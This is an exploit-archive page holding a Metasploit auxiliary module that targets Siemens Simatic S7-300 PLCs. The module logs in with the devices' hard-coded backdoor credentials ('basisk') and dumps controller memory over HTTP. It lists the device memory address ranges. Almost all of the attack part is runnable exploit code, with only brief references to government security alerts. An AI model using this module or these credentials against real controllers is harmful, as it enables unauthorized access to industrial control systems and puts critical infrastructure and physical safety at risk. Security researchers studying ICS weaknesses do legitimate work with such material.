Siemens Simatic S7 300 Remote Memory Viewer Backdoor

2012.07.15
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Siemens Simatic S7 300 Remote Memory Viewer Backdoor # Date: 7-13-2012 # Exploit Author: Dillon Beresford # Vendor Homepage: http://www.siemens.com/ # Tested on: Siemens Simatic S7-1200 PLC # CVE : None require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name' => 'Siemens Simatic S7-300 PLC Remote Memory Viewer', 'Description' => %q{ This module attempts to authenticate using a hard-coded backdoor password in the Simatic S7-300 PLC and dumps the device memory using system commands. Mode: Values 8, 16 or 32 bit access Valid address areas are: 80000000 - 81FFFFFF SD-Ram cached A0000000 - A1FFFFFF SD-Ram uncached A8000000 - A87FFFFF Norflash AFC00000 - AFC7FFFF ED-Ram int. uncached BFE00000 - BFEFFFFD COM-ED-Ram ext. C0000000 - C007FFFF ED-Ram int. cached D0000000 - D0005FFF Scratchpad data int. D4000000 - D4005FFF Scratchpad code int. F0100000 - F018FFFF SPS-Asic 16-Bit access only }, 'Author' => 'Dillon Beresford', 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ], [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ], ], 'Version' => '$Revision$', 'DisclosureDate' => 'June 2011' )) register_options( [ Opt::RPORT(8080), OptString.new('USER', [ true, 'Simatic S7-300 hardcoded username.', 'basisk']), OptString.new('PASS', [ true, 'Simatic S7-300 hardcoded password.', 'basisk']), OptString.new('MODE', [ true, 'Memory Read Mode (8-bit, 16-bit, 32-bit)', '32']), OptString.new('HEX', [ true, 'Simatic S7-300 memory offset', '1']), OptString.new('OFFSET', [ true, 'Simatic S7-300 memory offset']), OptString.new('LENGTH', [ true, 'Memory Dump Length in Bits', '256']) ], self.class) end def run_host(ip) begin user = datastore['USER'] pass = datastore['PASS'] print_status("Attempting to connect to #{rhost}:#{rport}") len = '1024' login = send_request_raw( { 'method' => 'GET', 'uri' => "/login?User="+user+"&Password="+pass }) if (login) request = send_request_raw( { 'method' => 'GET', 'uri' => "/tools/MemoryDump?Address="+datastore['OFFSET']+"&"+"Hex="+datastore['HEX']+"&"+"Length="+datastore['LENGTH']+"&Mode="+ datastore['MODE'] }) if (request and request.code == 200) print_good("Success! Dumping Memory on #{rhost} \r\n\n#{request.body}") elsif (request and request.code) print_error("Attempt #HTTP error #{request.code} on #{rhost}") end end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE rescue ::LocalJumpError end end end

References:

http://www.siemens.com/
http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-204-01%20S7-300_S7-400.pdf


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top